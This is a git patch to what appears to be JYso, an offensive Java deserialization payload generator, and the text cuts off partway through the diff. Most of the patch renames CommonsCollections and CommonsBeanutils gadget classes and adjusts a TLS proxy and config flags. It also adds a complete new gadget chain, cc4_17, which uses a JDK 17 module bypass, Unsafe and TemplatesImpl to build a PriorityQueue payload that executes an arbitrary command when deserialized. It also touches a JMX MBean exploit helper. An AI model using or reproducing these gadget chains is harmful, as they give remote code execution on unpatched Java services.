From 74672d22dc03379d52b772d89c9e461fa2dc7172 Mon Sep 17 00:00:00 2001 From: qi4L Date: Fri, 5 Sep 2025 13:25:01 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20cc=E9=93=BE=E5=92=8Ccb=E9=93=BE?= =?UTF-8?q?=E7=B1=BB=E5=90=8D=E7=AE=80=E5=86=99=EF=BC=8Cadd=20cc4=5F17?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/main/java/com/qi4l/JYso/Starter.java | 9 ++-- src/main/java/com/qi4l/JYso/TLSProxy.java | 48 +++++++++---------- .../com/qi4l/JYso/exploit/JMXInvokeMBean.java | 3 +- .../com/qi4l/JYso/gadgets/Config/Config.java | 22 +++++---- .../java/com/qi4l/JYso/gadgets/Jackson3.java | 20 ++++---- ...{CommonsBeanutils1183.java => cb1183.java} | 2 +- .../{CommonsBeanutils160.java => cb160.java} | 10 ++-- .../{CommonsBeanutils192.java => cb192.java} | 2 +- ...{CommonsBeanutils2183.java => cb2183.java} | 2 +- ...{CommonsBeanutils3183.java => cb3183.java} | 2 +- .../{CommonsCollections1.java => cc1.java} | 2 +- .../{CommonsCollections10.java => cc10.java} | 10 +++- .../{CommonsCollections11.java => cc11.java} | 2 +- .../{CommonsCollections12.java => cc12.java} | 2 +- .../{CommonsCollections13.java => cc13.java} | 2 +- .../{CommonsCollections2.java => cc2.java} | 2 +- .../{CommonsCollections3.java => cc3.java} | 2 +- .../{CommonsCollections4.java => cc4.java} | 8 ++-- .../java/com/qi4l/JYso/gadgets/cc4_17.java | 45 +++++++++++++++++ .../{CommonsCollections5.java => cc5.java} | 2 +- .../{CommonsCollections6.java => cc6.java} | 2 +- .../{CommonsCollections7.java => cc7.java} | 2 +- .../{CommonsCollections8.java => cc8.java} | 13 +++-- .../{CommonsCollections9.java => cc9.java} | 2 +- .../{CommonsCollectionsK1.java => cck1.java} | 2 +- .../{CommonsCollectionsK2.java => cck2.java} | 2 +- .../{CommonsCollectionsK3.java => cck3.java} | 2 +- .../{CommonsCollectionsK4.java => cck4.java} | 2 +- .../com/qi4l/JYso/gadgets/utils/Gadgets.java | 1 - .../qi4l/JYso/gadgets/utils/jdk17Bypass.java | 14 ++++++ 30 files changed, 158 insertions(+), 81 deletions(-) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsBeanutils1183.java => cb1183.java} (95%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsBeanutils160.java => cb160.java} (85%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsBeanutils192.java => cb192.java} (94%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsBeanutils2183.java => cb2183.java} (96%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsBeanutils3183.java => cb3183.java} (96%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections1.java => cc1.java} (96%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections10.java => cc10.java} (87%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections11.java => cc11.java} (95%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections12.java => cc12.java} (96%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections13.java => cc13.java} (95%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections2.java => cc2.java} (94%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections3.java => cc3.java} (97%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections4.java => cc4.java} (90%) create mode 100644 src/main/java/com/qi4l/JYso/gadgets/cc4_17.java rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections5.java => cc5.java} (96%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections6.java => cc6.java} (97%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections7.java => cc7.java} (96%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections8.java => cc8.java} (71%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollections9.java => cc9.java} (94%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollectionsK1.java => cck1.java} (95%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollectionsK2.java => cck2.java} (94%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollectionsK3.java => cck3.java} (95%) rename src/main/java/com/qi4l/JYso/gadgets/{CommonsCollectionsK4.java => cck4.java} (95%) diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java index b534f2c..7b98937 100644 --- a/src/main/java/com/qi4l/JYso/Starter.java +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -24,12 +24,13 @@ public class Starter { if (args.length > 0 && args[0].equals("-j")) { logo(); Config.applyCmdArgs(args); - if (Config.TLSProxy) { - TLSProxy.start(); - } LdapServer.start(); HTTPServer.start(); - RMIServer.start(); + if (Config.TLSProxy) { + TLSProxy.start(); + } else { + //RMIServer.start(); + } } // 如果参数中包含-y，则启动 ysuserial diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java index 452872d..05134c6 100644 --- a/src/main/java/com/qi4l/JYso/TLSProxy.java +++ b/src/main/java/com/qi4l/JYso/TLSProxy.java @@ -29,8 +29,9 @@ public class TLSProxy { } public static void start() { - System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "...")); - new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run(); + System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "...")); + + new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run(); } public void run() { @@ -43,13 +44,13 @@ public class TLSProxy { try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) { String[] addressParts = localAddr.split(":"); serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1]))); - System.out.println("TLS Proxy started on " + localAddr); + //System.out.println("TLS Proxy started on " + localAddr); ExecutorService executorService = Executors.newCachedThreadPool(); while (true) { SSLSocket clientSocket = (SSLSocket) serverSocket.accept(); - System.out.println("New connection from " + clientSocket.getRemoteSocketAddress()); + //System.out.println("New connection from " + clientSocket.getRemoteSocketAddress()); executorService.submit(() -> handleConnection(clientSocket)); } } catch (IOException e) { @@ -64,10 +65,10 @@ public class TLSProxy { KeyStore keyStore = KeyStore.getInstance("JKS"); try (InputStream keyInput = new FileInputStream(certFile)) { - keyStore.load(keyInput, "".toCharArray()); + keyStore.load(keyInput, Config.keyPass.toCharArray()); } - keyManagerFactory.init(keyStore, "".toCharArray()); + keyManagerFactory.init(keyStore, Config.keyPass.toCharArray()); sslContext.init(keyManagerFactory.getKeyManagers(), null, null); return sslContext.getServerSocketFactory(); @@ -78,24 +79,25 @@ public class TLSProxy { } private void handleConnection(SSLSocket clientSocket) { - try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) { + String[] addressParts = localAddr.split(":"); + try (Socket remoteSocket = new Socket(addressParts[0], Integer.parseInt(addressParts[1]))) { System.out.println("Connected to " + remoteAddr); ExecutorService executorService = Executors.newCachedThreadPool(); - executorService.submit(() -> { - try { - forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream()); - } catch (IOException e) { - throw new RuntimeException(e); - } - }); - executorService.submit(() -> { - try { - forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream()); - } catch (IOException e) { - throw new RuntimeException(e); - } - }); + //executorService.submit(() -> { + // try { + // forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream()); + // } catch (IOException e) { + // throw new RuntimeException(e); + // } + //}); + //executorService.submit(() -> { + // try { + // forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream()); + // } catch (IOException e) { + // throw new RuntimeException(e); + // } + //}); } catch (IOException e) { e.printStackTrace(); } @@ -113,8 +115,4 @@ public class TLSProxy { e.printStackTrace(); } } - - private int getPort(String address) { - return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1)); - } } diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java index 87df51e..1288f75 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java +++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java @@ -9,10 +9,9 @@ import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; -/* +/** * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. - * */ public class JMXInvokeMBean { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index cf30b6e..49306b0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -40,10 +40,14 @@ public class Config { public static String AESkey = "123"; @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) public static String USER = ""; - @Parameter(names = {"-tP", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5) - public static boolean TLSProxy = false; @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) public static String PASSWD = ""; + @Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5) + public static boolean TLSProxy = false; + @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5) + public static String TLSPort = ""; + @Parameter(names = {"-kS", " --keyPass"}, help = true, description = "TLS private key", order = 5) + public static String keyPass = ""; @Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5) public static String keyFile = ""; @Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5) @@ -94,13 +98,13 @@ public class Config { public static Boolean IS_UTF_Bypass = false; public static Boolean IS_Hessian1 = false; public static Boolean IS_Hessian2 = false; - public static Boolean IS_Xstream = false; - public static Boolean IS_Kryo = false; - public static Boolean IS_JYAML = false; - public static Boolean IS_JsonIO = false; - public static Boolean IS_YamlBeans = false; - public static Boolean IS_Castor = false; - public static Boolean IS_Jackson = false; + public static Boolean IS_Xstream = false; + public static Boolean IS_Kryo = false; + public static Boolean IS_JYAML = false; + public static Boolean IS_JsonIO = false; + public static Boolean IS_YamlBeans = false; + public static Boolean IS_Castor = false; + public static Boolean IS_Jackson = false; // 填充的脏数据长度 public static int DIRTY_LENGTH_IN_TC_RESET = 0; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index fcab13a..8e96558 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -4,6 +4,8 @@ import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.jdk17Bypass; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import org.springframework.aop.framework.AdvisedSupport; @@ -12,6 +14,7 @@ import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; +import javax.swing.event.EventListenerList; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; @@ -19,6 +22,7 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.*; +import java.util.ArrayList; import java.util.Vector; import static com.qi4l.JYso.gadgets.Config.Config.POOL; @@ -89,14 +93,14 @@ public class Jackson3 implements ObjectPayload { } - //ArrayList classes = new ArrayList <>(); - //classes.add(TemplatesImpl.class); - //classes.add(POJONode.class); - //classes.add(EventListenerList.class); - //classes.add(Jackson3.class); - //classes.add(Field.class); - //classes.add(Method.class); - //new jdk17Bypass().bypassModule(classes); + ArrayList classes = new ArrayList<>(); + classes.add(TemplatesImpl.class); + classes.add(POJONode.class); + classes.add(EventListenerList.class); + classes.add(Jackson3.class); + classes.add(Field.class); + classes.add(Method.class); + new jdk17Bypass().bypassModule(classes); POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183.java b/src/main/java/com/qi4l/JYso/gadgets/cb1183.java similarity index 95% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183.java rename to src/main/java/com/qi4l/JYso/gadgets/cb1183.java index 5379dc8..5440799 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb1183.java @@ -13,7 +13,7 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -public class CommonsBeanutils1183 implements ObjectPayload { +public class cb1183 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils160.java b/src/main/java/com/qi4l/JYso/gadgets/cb160.java similarity index 85% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils160.java rename to src/main/java/com/qi4l/JYso/gadgets/cb160.java index 4152b53..0839324 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils160.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb160.java @@ -11,26 +11,28 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; @Dependencies({"commons-beanutils:commons-beanutils:1.6.0"}) -public class CommonsBeanutils160 implements ObjectPayload { +public class cb160 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - final Object template; - template = Gadgets.createTemplatesImpl(command); + final Object template = Gadgets.createTemplatesImpl(command); ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); - insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); + Class beanCompareClazz = ctClass.toClass(); BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); + patchModule(cc4_17.class, queue.getClass()); + // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils192.java b/src/main/java/com/qi4l/JYso/gadgets/cb192.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils192.java rename to src/main/java/com/qi4l/JYso/gadgets/cb192.java index f7d52de..ba707d9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb192.java @@ -10,7 +10,7 @@ import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) -public class CommonsBeanutils192 implements ObjectPayload { +public class cb192 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183.java b/src/main/java/com/qi4l/JYso/gadgets/cb2183.java similarity index 96% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183.java rename to src/main/java/com/qi4l/JYso/gadgets/cb2183.java index e5776f1..25e4eb9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb2183.java @@ -16,7 +16,7 @@ import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -public class CommonsBeanutils2183 implements ObjectPayload { +public class cb2183 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java b/src/main/java/com/qi4l/JYso/gadgets/cb3183.java similarity index 96% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java rename to src/main/java/com/qi4l/JYso/gadgets/cb3183.java index 05a8296..4b73479 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb3183.java @@ -15,7 +15,7 @@ import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -public class CommonsBeanutils3183 implements ObjectPayload{ +public class cb3183 implements ObjectPayload{ @Override public Object getObject(String command) throws Exception { String jndiURL = null; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections1.java b/src/main/java/com/qi4l/JYso/gadgets/cc1.java similarity index 96% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections1.java rename to src/main/java/com/qi4l/JYso/gadgets/cc1.java index 0ebbb62..e758faa 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc1.java @@ -40,7 +40,7 @@ import java.util.Map; @SuppressWarnings({"rawtypes", "unchecked", "unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.FROHOFF}) -public class CommonsCollections1 implements ObjectPayload { +public class cc1 implements ObjectPayload { @Override public InvocationHandler getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/JYso/gadgets/cc10.java similarity index 87% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java rename to src/main/java/com/qi4l/JYso/gadgets/cc10.java index 4d14db5..94d6da7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc10.java @@ -15,14 +15,20 @@ import javax.xml.transform.Templates; import java.util.HashMap; import java.util.Map; +import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; + @Dependencies({"commons-collections:commons-collections:3.2.1"}) -public class CommonsCollections10 implements ObjectPayload { - +public class cc10 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object templates; templates = Gadgets.createTemplatesImpl(command); + + Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + patchModule(cc4_17.class,aClass); + + // 使用 InstantiateFactory 代替 InstantiateTransformer InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections11.java b/src/main/java/com/qi4l/JYso/gadgets/cc11.java similarity index 95% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections11.java rename to src/main/java/com/qi4l/JYso/gadgets/cc11.java index cf63d0f..ab78b50 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections11.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc11.java @@ -16,7 +16,7 @@ import java.util.Map; * 需要调用其 connect 方法，因此需要调用任意方法的 Gadget，这里选择了 InvokerTransformer * 直接传入 Base64 编码的序列化数据即可 */ -public class CommonsCollections11 implements ObjectPayload { +public class cc11 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java b/src/main/java/com/qi4l/JYso/gadgets/cc12.java similarity index 96% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java rename to src/main/java/com/qi4l/JYso/gadgets/cc12.java index 71b6d4d..02723fb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc12.java @@ -18,7 +18,7 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.2.1"}) @Authors({Authors.Jayl1n}) -public class CommonsCollections12 implements ObjectPayload{ +public class cc12 implements ObjectPayload{ @Override public Object getObject(String command) throws Exception { final Transformer transformerChain = new ChainedTransformer( diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java b/src/main/java/com/qi4l/JYso/gadgets/cc13.java similarity index 95% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java rename to src/main/java/com/qi4l/JYso/gadgets/cc13.java index acd7c9d..3d2a1bc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections13.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc13.java @@ -16,7 +16,7 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.Unam4}) -public class CommonsCollections13 implements ObjectPayload { +public class cc13 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Transformer[] transformers = TransformerUtil.makeTransformer(command); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections2.java b/src/main/java/com/qi4l/JYso/gadgets/cc2.java similarity index 94% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections2.java rename to src/main/java/com/qi4l/JYso/gadgets/cc2.java index 6d1551c..abed618 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc2.java @@ -14,7 +14,7 @@ import java.util.Queue; @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({Authors.FROHOFF}) -public class CommonsCollections2 implements ObjectPayload> { +public class cc2 implements ObjectPayload> { public Queue getObject(String command) throws Exception { final Object templates; diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections3.java b/src/main/java/com/qi4l/JYso/gadgets/cc3.java similarity index 97% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections3.java rename to src/main/java/com/qi4l/JYso/gadgets/cc3.java index 35ae5b7..1d40fe1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc3.java @@ -26,7 +26,7 @@ import java.util.Map; @SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.FROHOFF}) -public class CommonsCollections3 implements ObjectPayload { +public class cc3 implements ObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections4.java b/src/main/java/com/qi4l/JYso/gadgets/cc4.java similarity index 90% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections4.java rename to src/main/java/com/qi4l/JYso/gadgets/cc4.java index 1745514..97ddf0a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4.java @@ -23,19 +23,17 @@ import java.util.Queue; @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({Authors.FROHOFF}) -public class CommonsCollections4 implements ObjectPayload> { +public class cc4 implements ObjectPayload> { public Queue getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[]{String.class}; Object[] args = new Object[]{Utils.generateRandomString(4)}; - InstantiateTransformer instantiate = new InstantiateTransformer( - paramTypes, args); + InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java new file mode 100644 index 0000000..40efff9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java @@ -0,0 +1,45 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Gadgets; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.*; + +import javax.xml.transform.Templates; +import java.lang.reflect.Field; +import java.util.PriorityQueue; + +import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; + +public class cc4_17 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + patchModule(cc4_17.class,aClass); + + Class TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"); + InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); + ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter); + + InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"),60,"javax.xml"}); + InvokerTransformer invokerTransformer3 = new InvokerTransformer("get",new Class[]{Object.class}, new Object[]{null}); + InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible",new Class[]{boolean.class}, new Object[]{true}); + TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2); + ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure); + InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField",new Class[]{String.class}, new Object[]{"theUnsafe"}); + ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe")); + Transformer[] transformers =new Transformer[]{constantTransformer,invokerTransformer,ClosureTransformer,invokerTransformer3,invokerTransformer4,constantTransformer2,invokerTransformer5}; + Transformer keyTransformer = new ChainedTransformer(transformers); + + TransformingComparator transformingComparator = new TransformingComparator(keyTransformer); + PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator); + patchModule(cc4_17.class,priorityQueue.getClass()); + Field size = priorityQueue.getClass().getDeclaredField("size"); + size.setAccessible(true); + size.setInt(priorityQueue, 2); + + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections5.java b/src/main/java/com/qi4l/JYso/gadgets/cc5.java similarity index 96% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections5.java rename to src/main/java/com/qi4l/JYso/gadgets/cc5.java index 4abd747..f007ef1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections5.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc5.java @@ -40,7 +40,7 @@ import java.util.Map; @SuppressWarnings({"rawtypes", "unused"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.MATTHIASKAISER, Authors.JASINNER}) -public class CommonsCollections5 implements ObjectPayload { +public class cc5 implements ObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections6.java b/src/main/java/com/qi4l/JYso/gadgets/cc6.java similarity index 97% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections6.java rename to src/main/java/com/qi4l/JYso/gadgets/cc6.java index cf371b1..21c6d04 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections6.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc6.java @@ -35,7 +35,7 @@ import java.util.Map; @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.MATTHIASKAISER}) -public class CommonsCollections6 implements ObjectPayload { +public class cc6 implements ObjectPayload { public Serializable getObject(String command) throws Exception { final Transformer[] transformers = TransformerUtil.makeTransformer(command); diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java b/src/main/java/com/qi4l/JYso/gadgets/cc7.java similarity index 96% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java rename to src/main/java/com/qi4l/JYso/gadgets/cc7.java index ddee51e..fbb73dc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections7.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc7.java @@ -18,7 +18,7 @@ import java.util.Map; @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) -public class CommonsCollections7 implements ObjectPayload { +public class cc7 implements ObjectPayload { public Hashtable getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java b/src/main/java/com/qi4l/JYso/gadgets/cc8.java similarity index 71% rename from src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java rename to src/main/java/com/qi4l/JYso/gadgets/cc8.java index 9c7d79f..8c2cbcf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections8.java +++ 